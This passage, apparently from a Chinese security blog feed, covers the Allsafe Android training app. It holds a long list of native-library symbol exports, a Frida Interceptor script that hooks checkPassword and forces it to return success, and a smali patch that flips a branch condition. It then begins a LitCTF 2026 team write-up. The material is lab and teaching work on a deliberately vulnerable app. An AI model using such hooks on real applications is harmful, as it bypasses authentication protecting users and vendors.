    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2ERKS5_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6insertEmPKcm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC1ERKS5_RKS4_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEC1ERKS5_RKS4_&quot;,
    &quot;_ZNKSt9exception4whatEv&quot;,
    &quot;_ZNSt8bad_castC1Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC1ERKS5_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE9push_backEc&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE4findEPKwmm&quot;,
    &quot;_ZTIN10__cxxabiv117__array_type_infoE&quot;,
    &quot;_ZTVSt15underflow_error&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE5rfindEPKcmm&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7compareEPKc&quot;,
    &quot;_ZNSt6__ndk16stoullERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPmi&quot;,
    &quot;_ZTVSt12domain_error&quot;,
    &quot;_ZNSt10bad_typeidC2Ev&quot;,
    &quot;_ZTVN10__cxxabiv116__shim_type_infoE&quot;,
    &quot;_ZTIs&quot;,
    &quot;Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword&quot;,
    &quot;_ZSt7nothrow&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE21__grow_by_and_replaceEmmmmmmPKc&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6__initEPKwm&quot;,
    &quot;_ZTIt&quot;,
    &quot;_ZdlPvSt11align_val_tRKSt9nothrow_t&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE4findEPKcmm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6__initEPKwmm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE9push_backEw&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7compareEmmPKc&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7compareEPKw&quot;,
    &quot;_ZTIv&quot;,
    &quot;_ZTIN10__cxxabiv121__vmi_class_type_infoE&quot;,
    &quot;_ZTSSt20bad_array_new_length&quot;,
    &quot;_ZTISt16invalid_argument&quot;,
    &quot;_ZTIw&quot;,
    &quot;_ZTSPKDh&quot;,
    &quot;__cxa_new_handler&quot;,
    &quot;_ZTIx&quot;,
    &quot;_ZTSPKDi&quot;,
    &quot;_ZTVN10__cxxabiv117__pbase_type_infoE&quot;,
    &quot;_ZNSt8bad_castD0Ev&quot;,
    &quot;_ZNSt6__ndk16__itoa8__u32toaEjPc&quot;,
    &quot;_ZTISt9bad_alloc&quot;,
    &quot;_ZTIy&quot;,
    &quot;_ZTSN10__cxxabiv117__array_type_infoE&quot;,
    &quot;_ZNSt6__ndk117__compressed_pairINS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE5__repES5_EC2INS_18__default_init_tagESA_EEOT_OT0_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6__initEPKcm&quot;,
    &quot;__cxa_end_catch&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6insertEmPKwm&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7compareEmmPKw&quot;,
    &quot;_ZNSt6__ndk110to_wstringEx&quot;,
    &quot;_ZSt10unexpectedv&quot;,
    &quot;_ZTIPDh&quot;,
    &quot;_ZNSt10bad_typeidD1Ev&quot;,
    &quot;_ZNSt6__ndk110to_wstringEy&quot;,
    &quot;_ZTIPDi&quot;,
    &quot;_ZNSt11logic_errorD1Ev&quot;,
    &quot;_ZSt13get_terminatev&quot;,
    &quot;_ZTIN10__cxxabiv116__shim_type_infoE&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEmc&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6insertENS_11__wrap_iterIPKcEEc&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6__initEmw&quot;,
    &quot;_ZTVN10__cxxabiv117__class_type_infoE&quot;,
    &quot;_ZTSPKDn&quot;,
    &quot;_ZdlPvSt11align_val_t&quot;,
    &quot;_ZNKSt6__ndk121__basic_string_commonILb1EE20__throw_out_of_rangeEv&quot;,
    &quot;_ZNSt12domain_errorD1Ev&quot;,
    &quot;_ZdlPv&quot;,
    &quot;_ZTISt9type_info&quot;,
    &quot;_ZNSt6__ndk15stollERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPmi&quot;,
    &quot;_ZTVN10__cxxabiv120__si_class_type_infoE&quot;,
    &quot;_ZTIPDn&quot;,
    &quot;_ZTSN10__cxxabiv116__enum_type_infoE&quot;,
    &quot;_ZTISt8bad_cast&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6insertENS_11__wrap_iterIPKwEEw&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE17find_first_not_ofEPKwmm&quot;,
    &quot;_ZTSPKDs&quot;,
    &quot;_ZTVSt11logic_error&quot;,
    &quot;__cxa_rethrow_primary_exception&quot;,
    &quot;_ZNSt14overflow_errorD0Ev&quot;,
    &quot;_ZTSSt16invalid_argument&quot;,
    &quot;_ZTISt10bad_typeid&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEC2ERKS5_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEC1ERKS5_mmRKS4_&quot;,
    &quot;_ZTSPKDu&quot;,
    &quot;_ZNSt13bad_exceptionD0Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2ERKS5_RKS4_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEC2ERKS5_RKS4_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEC1ERKS5_&quot;,
    &quot;_ZTIPDs&quot;,
    &quot;_ZTISt12out_of_range&quot;,
    &quot;_ZTIPDu&quot;,
    &quot;_ZNSt6__ndk14stofERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPm&quot;,
    &quot;_ZTSPKa&quot;,
    &quot;_ZNSt15underflow_errorD0Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6insertEmmw&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6insertEmRKS5_mm&quot;,
    &quot;_ZNSt6__ndk14stolERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPmi&quot;,
    &quot;_ZTSPKb&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6appendEPKwm&quot;,
    &quot;_ZNSt6__ndk14stoiERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPmi&quot;,
    &quot;_ZTISt13bad_exception&quot;,
    &quot;_ZTSPKc&quot;,
    &quot;_ZTSSt12out_of_range&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7reserveEm&quot;,
    &quot;__cxa_get_globals_fast&quot;,
    &quot;_ZTSPKd&quot;,
    &quot;_ZTISt11range_error&quot;,
    &quot;_ZnwmRKSt9nothrow_t&quot;,
    &quot;_ZTVSt12length_error&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6insertEmRKS5_mm&quot;,
    &quot;_ZTSPKf&quot;,
    &quot;__emutls_get_address&quot;,
    &quot;_ZTSPKg&quot;,
    &quot;_ZnamSt11align_val_tRKSt9nothrow_t&quot;,
    &quot;_ZNKSt6__ndk121__basic_string_commonILb1EE20__throw_length_errorEv&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7replaceEmmPKcm&quot;,
    &quot;__cxa_terminate_handler&quot;,
    &quot;_ZTSPKh&quot;,
    &quot;_ZnwmSt11align_val_t&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm&quot;,
    &quot;_ZTSPKi&quot;,
    &quot;_ZTSPKj&quot;,
    &quot;_ZTVN10__cxxabiv116__enum_type_infoE&quot;,
    &quot;_ZNSt11logic_errorC2ERKNSt6__ndk112basic_stringIcNS0_11char_traitsIcEENS0_9allocatorIcEEEE&quot;,
    &quot;_ZTVSt13bad_exception&quot;,
    &quot;_ZTSPKl&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE2atEm&quot;,
    &quot;_ZNSt6__ndk14stodERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPm&quot;,
    &quot;_ZTSPKm&quot;,
    &quot;_ZNSt9bad_allocC2Ev&quot;,
    &quot;_ZNSt13runtime_errorC1ERKS_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2ERKS5_mmRKS4_&quot;,
    &quot;_ZTIN10__cxxabiv129__pointer_to_member_type_infoE&quot;,
    &quot;_ZTSPKn&quot;,
    &quot;_ZNSt12length_errorD2Ev&quot;,
    &quot;_ZTVSt8bad_cast&quot;,
    &quot;_ZTSPKo&quot;,
    &quot;_ZN7_JNIEnv14GetArrayLengthEP7_jarray&quot;,
    &quot;_ZNSt11logic_errorC2EPKc&quot;,
    &quot;_ZNSt20bad_array_new_lengthC2Ev&quot;,
    &quot;_ZTVSt20bad_array_new_length&quot;,
    &quot;_ZTISt12domain_error&quot;,
    &quot;_ZTSSt12domain_error&quot;,
    &quot;_ZTISt14overflow_error&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6assignEmc&quot;,
    &quot;__cxa_get_exception_ptr&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7reserveEm&quot;,
    &quot;_ZTSSt9bad_alloc&quot;,
    &quot;_ZNKSt11logic_error4whatEv&quot;,
    &quot;_ZTSSt11range_error&quot;,
    &quot;_ZTSPKs&quot;,
    &quot;_ZTIN10__cxxabiv116__enum_type_infoE&quot;,
    &quot;_ZNSt6__ndk19to_stringEd&quot;,
    &quot;_ZTSPKt&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7compareEmmRKS5_mm&quot;,
    &quot;_ZNSt9bad_allocD1Ev&quot;,
    &quot;_ZNSt9exceptionD1Ev&quot;,
    &quot;_ZNSt13runtime_errorD2Ev&quot;,
    &quot;_ZNSt11range_errorD1Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev&quot;,
    &quot;_ZNSt12out_of_rangeD1Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE2atEm&quot;,
    &quot;_ZNSt6__ndk19to_stringEf&quot;,
    &quot;_ZTSPKv&quot;,
    &quot;_ZNKSt13bad_exception4whatEv&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEaSEc&quot;,
    &quot;_ZNSt16invalid_argumentD1Ev&quot;,
    &quot;_ZNSt6__ndk19to_stringEg&quot;,
    &quot;_ZTIN10__cxxabiv123__fundamental_type_infoE&quot;,
    &quot;_ZTSPKw&quot;,
    &quot;_ZNSt9type_infoD1Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6appendEmw&quot;,
    &quot;_ZNSt6__ndk15stoulERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPmi&quot;,
    &quot;_ZTSPKx&quot;,
    &quot;_ZTIPKDh&quot;,
    &quot;_ZNSt20bad_array_new_lengthD1Ev&quot;,
    &quot;_ZTSSt9type_info&quot;,
    &quot;_ZdlPvRKSt9nothrow_t&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7replaceEmmRKS5_mm&quot;,
    &quot;_ZNSt6__ndk19to_stringEi&quot;,
    &quot;_ZTSPKy&quot;,
    &quot;_ZTIPKDi&quot;,
    &quot;_ZNSt6__ndk19to_stringEj&quot;,
    &quot;__cxa_pure_virtual&quot;,
    &quot;_ZTVN10__cxxabiv120__function_type_infoE&quot;,
    &quot;_ZNSt8bad_castC2Ev&quot;,
    &quot;_ZSt14set_unexpectedPFvvE&quot;,
    &quot;_ZTSN10__cxxabiv121__vmi_class_type_infoE&quot;,
    &quot;_ZNSt6__ndk16__itoa8__u64toaEmPc&quot;,
    &quot;_ZNSt6__ndk19to_stringEl&quot;,
    &quot;__dynamic_cast&quot;,
    &quot;_ZNSt6__ndk19to_stringEm&quot;,
    &quot;_Z9checkPassP7_JNIEnvP8_jstring&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKc&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6resizeEmc&quot;,
    &quot;_ZNSt6__ndk15stoldERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPm&quot;,
    &quot;_ZTIPKDn&quot;,
    &quot;_ZnamSt11align_val_t&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE4copyEPwmm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEED1Ev&quot;,
    &quot;_ZTISt11logic_error&quot;,
    &quot;_ZN7_JNIEnv12NewStringUTFEPKc&quot;,
    &quot;_ZTSN10__cxxabiv119__pointer_type_infoE&quot;,
    &quot;_ZTSa&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE5rfindEPKwmm&quot;,
    &quot;_ZTSb&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE16find_last_not_ofEPKwmm&quot;,
    &quot;__cxa_uncaught_exceptions&quot;,
    &quot;_ZTSN10__cxxabiv129__pointer_to_member_type_infoE&quot;,
    &quot;_ZTSc&quot;,
    &quot;_ZNSt8bad_castD1Ev&quot;,
    &quot;_ZNSt13runtime_errorC1EPKc&quot;,
    &quot;_ZTSd&quot;,
    &quot;_ZTIPKDs&quot;,
    &quot;_Znwm&quot;,
    &quot;_ZdaPvRKSt9nothrow_t&quot;,
    &quot;_ZNSt11logic_errorC1ERKS_&quot;,
    &quot;_ZNSt10bad_typeidD2Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7replaceEmmmc&quot;,
    &quot;_ZTSPDh&quot;,
    &quot;_ZTSf&quot;,
    &quot;_ZTIPKDu&quot;,
    &quot;_ZNSt11logic_errorD2Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEC2ERKS5_mmRKS4_&quot;,
    &quot;_ZTIN10__cxxabiv117__pbase_type_infoE&quot;,
    &quot;_ZTSg&quot;,
    &quot;_ZTSPDi&quot;,
    &quot;_ZTSh&quot;,
    &quot;_ZTSSt13runtime_error&quot;,
    &quot;_ZNSt13runtime_errorC1ERKNSt6__ndk112basic_stringIcNS0_11char_traitsIcEENS0_9allocatorIcEEEE&quot;,
    &quot;_ZNSt6__ndk19to_stringEx&quot;,
    &quot;_ZTSi&quot;,
    &quot;_ZNSt12domain_errorD2Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7replaceEmmPKc&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE2atEm&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE13find_first_ofEPKwmm&quot;,
    &quot;_ZNSt6__ndk19to_stringEy&quot;,
    &quot;_ZTSj&quot;,
    &quot;_ZNKSt9bad_alloc4whatEv&quot;,
    &quot;_ZTVSt10bad_typeid&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6__initEPKcmm&quot;,
    &quot;_ZTISt12length_error&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7replaceEmmPKwm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6assignEPKwm&quot;,
    &quot;__cxa_free_dependent_exception&quot;,
    &quot;_ZTIN10__cxxabiv117__class_type_infoE&quot;,
    &quot;_ZTSPDn&quot;,
    &quot;_ZTSl&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7compareEmmPKcm&quot;,
    &quot;__cxa_current_exception_type&quot;,
    &quot;_ZTSPa&quot;,
    &quot;_ZTSm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6assignERKS5_mm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7replaceEmmPKw&quot;,
    &quot;_ZTSPb&quot;,
    &quot;_ZTSn&quot;,
    &quot;_ZTSDh&quot;,
    &quot;_ZTISt20bad_array_new_length&quot;,
    &quot;_ZTSSt11logic_error&quot;,
    &quot;_ZNSt14overflow_errorD1Ev&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE16find_last_not_ofEPKcmm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE2atEm&quot;,
    &quot;_ZNSt13bad_exceptionD1Ev&quot;,
    &quot;_ZTSN10__cxxabiv117__pbase_type_infoE&quot;,
    &quot;_ZTSPc&quot;,
    &quot;_ZTSo&quot;,
    &quot;_ZTSDi&quot;,
    &quot;_ZTSN10__cxxabiv120__si_class_type_infoE&quot;,
    &quot;_ZNKSt13runtime_error4whatEv&quot;,
    &quot;_ZNSt12length_errorD0Ev&quot;,
    &quot;_ZTSSt12length_error&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6assignEmw&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6assignEPKw&quot;,
    &quot;_ZTSPd&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6assignEPKcm&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE4findEcm&quot;,
    &quot;_ZTSPDs&quot;,
    &quot;_ZTIN10__cxxabiv120__si_class_type_infoE&quot;,
    &quot;_ZTSPf&quot;,
    &quot;_ZnwmSt11align_val_tRKSt9nothrow_t&quot;,
    &quot;_ZTSs&quot;,
    &quot;_ZTSPg&quot;,
    &quot;_ZTSPDu&quot;,
    &quot;_ZNSt15underflow_errorD1Ev&quot;,
    &quot;_ZTSSt10bad_typeid&quot;,
    &quot;_ZNSt6__ndk16stoullERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPmi&quot;,
    &quot;_ZTSDn&quot;,
    &quot;_ZTSPh&quot;,
    &quot;_ZTSt&quot;,
    &quot;_ZTVSt9exception&quot;,
    &quot;__cxa_current_primary_exception&quot;,
    &quot;_ZTSPi&quot;,
    &quot;_ZTSv&quot;,
    &quot;_ZTSPj&quot;,
    &quot;_ZNSt13runtime_errorD0Ev&quot;,
    &quot;_ZdaPvSt11align_val_t&quot;,
    &quot;_ZTSw&quot;,
    &quot;_ZTSN10__cxxabiv117__class_type_infoE&quot;,
    &quot;_ZTSPl&quot;,
    &quot;_ZTSx&quot;,
    &quot;_ZTVN10__cxxabiv117__array_type_infoE&quot;,
    &quot;_ZTISt15underflow_error&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6insertEmmc&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEaSERKS5_&quot;,
    &quot;_ZTSPm&quot;,
    &quot;_ZTSy&quot;,
    &quot;_ZTSDs&quot;,
    &quot;_ZnamRKSt9nothrow_t&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7replaceEmmmw&quot;,
    &quot;__cxa_allocate_dependent_exception&quot;,
    &quot;_ZTSPn&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE12find_last_ofEPKwmm&quot;,
    &quot;__cxa_increment_exception_refcount&quot;,
    &quot;_ZTSPo&quot;,
    &quot;_ZTSDu&quot;,
    &quot;_ZN7_JNIEnv20GetByteArrayElementsEP11_jbyteArrayPh&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE13find_first_ofEPKcmm&quot;,
    &quot;_ZNSt6__ndk14stofERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPm&quot;,
    &quot;__cxa_decrement_exception_refcount&quot;,
    &quot;_ZNSt10bad_typeidC1Ev&quot;,
    &quot;_ZTVN10__cxxabiv123__fundamental_type_infoE&quot;,
    &quot;_ZTSPs&quot;,
    &quot;_ZSt9terminatev&quot;,
    &quot;_ZdlPvm&quot;,
    &quot;_ZTSN10__cxxabiv123__fundamental_type_infoE&quot;,
    &quot;_ZTSPt&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendERKS5_mm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6resizeEmw&quot;,
    &quot;__cxa_allocate_exception&quot;,
    &quot;_ZNSt6__ndk15stollERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPmi&quot;,
    &quot;_ZTSPv&quot;,
    &quot;_ZTVSt14overflow_error&quot;
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找check_password的地址一会hook，让我们无论输入什么，都能通过密码验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Android Emulator 5554::Allsafe ]-&amp;gt; Process.getModuleByName(&quot;libnative_library.so&quot;).getExportByName(&quot;Java_infosecadvent
ures_allsafe_challenges_NativeLibrary_checkPassword&quot;)
&quot;0x7638795a4430&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在把地址赋给一个变量，一会使用 Interceptor 来钩住该函数，并劫持其实现，使其对提供的任何密码都返回 true。&lt;a href=&quot;https://frida.re/docs/javascript-api/#interceptor&quot;&gt;https://frida.re/docs/javascript-api/#interceptor&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Android Emulator 5554::Allsafe ]-&amp;gt; var addr = Process.getModuleByName(&quot;libnative_library.so&quot;).getExportByName(&quot;Java_in
fosecadventures_allsafe_challenges_NativeLibrary_checkPassword&quot;);
[Android Emulator 5554::Allsafe ]-&amp;gt; console.log(&quot;[addr] &quot; + addr);
[addr] 0x7638795a4430
[Android Emulator 5554::Allsafe ]-&amp;gt; Interceptor.attach(addr, {
  onEnter(args) {
    console.log(&quot;[*] checkPassword called&quot;);
  },
  onLeave(retval) {
    console.log(&quot;[*] original retval =&quot;, retval.toInt32());
    retval.replace(1);
    console.log(&quot;[+] forced success&quot;);
  }
});
{}
[Android Emulator 5554::Allsafe ]-&amp;gt; [*] checkPassword called
[*] original retval = 0
[+] forced success
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随便输入都能通过验证，当然你也可以用apktool拿到so文件，然后IDA分析，发现密码就静态编译在里面，这里只是用frida来展示hook&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：THERE&apos;S A NATIVE LIBRARY COMPILED WITH THE APPLICATION THAT IS USED TO VALIDATE THE PASSU HE PASSWORD BELOW. BY REVERSE ENGINEERING THE THE PASSWORD CHECK. ENTER PASSWORD I [CHECK] 确定 THAT&apos;S IT!EXCELLENT WORK! --&amp;gt;
&lt;img src=&quot;./images/img-45.png&quot; alt=&quot;Figure 45&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&amp;lt;font style=&quot;color:rgb(36, 36, 36);&quot;&amp;gt;Smali Patch&amp;lt;/font&amp;gt;&lt;/h1&gt;
&lt;p&gt;这一关就是改smail代码，实现点击输出Firewall is now activated, good job!&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：* JADX INFO: ACCESS MODIFIERS CHANGED FROM: PRIVATE */ PUBLIC /大 SYNTHETIC */ VOID LAMBDASONCREATEVIEWSO(FIREWALL FIREWALL, VIEW V) IF (FIREWALL.EQUALS(FIREWALL.ACTIVE)){ SNACKUTIL.INSTANCE.SINDLEHESSAGE(REQUIREACTIVITYO, &quot;FIREWALL IS NOW ACTIVATED, 9OOD, 900D JOB: TOAST.MAKETEXT(REQUIRECONTEXTO,&quot;G00D J08!&quot;,1).SHOWO; ELSET SNACKUTIL.INSTAHCE.SIMPLEKESSAGE(REQUIREACTIVITYO, &quot;FIREWALL IS DOWN, TRY HARDER!&quot;); --&amp;gt;
&lt;img src=&quot;./images/img-46.png&quot; alt=&quot;Figure 46&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里我直接用MT管理器打开演示一下&lt;/p&gt;
&lt;p&gt;在class4.dex里&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：MOVE-RESULT VO IF-EQZ VO, :COND_22 .LINE 24 SGET OBJECT VO, UNFOSECADVENTURES/ALLSAFE/UTILS/SNACKUTIL: INVOKEVITUAL ( (OO), UNFOSECADVES/ALLSAFE/CHALENGES/SMAIPATCH;&amp;gt;REQUIEACTIVIYOLANDROIDX FREGMENTACTIVI MOVE-RESULT-OBJECT V1 CONST-STRING V2,&quot;FIREWALL IS NOW ACTIVATED,GOOD JOB! LUD83D\UDC4D&quot; --&amp;gt;
&lt;img src=&quot;./images/img-47.png&quot; alt=&quot;Figure 47&quot; /&gt;&lt;/p&gt;
&lt;p&gt;修改为&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：IF-NEZ VO, COND_22 .LINE 24 SGER OBJECT VO,UNFOSECADVENTURES/ALLSAFE/UTIS/SNACKUTIL;&amp;gt;INSTANCELINFOSECADVENTURES/ALLSAFE/UTIS/SNAC INVOKEVIRTUA[ 1PO; UNFOSECADVENTURESSFERCHALENGES/SNALPATCH--REQUREQUREACIVITYOLDX/TREGNENT/FRAGNTACI MOVE-RESULT-OBJECT V1 --&amp;gt;
&lt;img src=&quot;./images/img-48.png&quot; alt=&quot;Figure 48&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：[CHECK FIREWALL] GOOD JOB! 确定 FIREWALL IS NOW JOB! --&amp;gt;
&lt;img src=&quot;./images/img-49.png&quot; alt=&quot;Figure 49&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>LitCTF 2026 Hnusec1 战队 wp</title><link>https://blog-5w0.pages.dev/posts/litctf-2026/</link><guid isPermaLink="true">https://blog-5w0.pages.dev/posts/litctf-2026/</guid><description>LitCTF 2026 Web / Pwn / Reverse / Crypto / Misc 部分题解,队伍 Hnusec1 排名第 8。</description><pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;队伍名称：Hnusec1&lt;/p&gt;
&lt;p&gt;成员用户名：weixiao cinco J4toPos&lt;/p&gt;
&lt;p&gt;队伍排名：8&lt;/p&gt;
&lt;h1&gt;web&lt;/h1&gt;
&lt;h2&gt;lit_ezsql&lt;/h2&gt;
&lt;p&gt;进入后是一个查询页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-01.png&quot; alt=&quot;Figure 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们正常输入id=1，回显一行五列结果&lt;/p&gt;
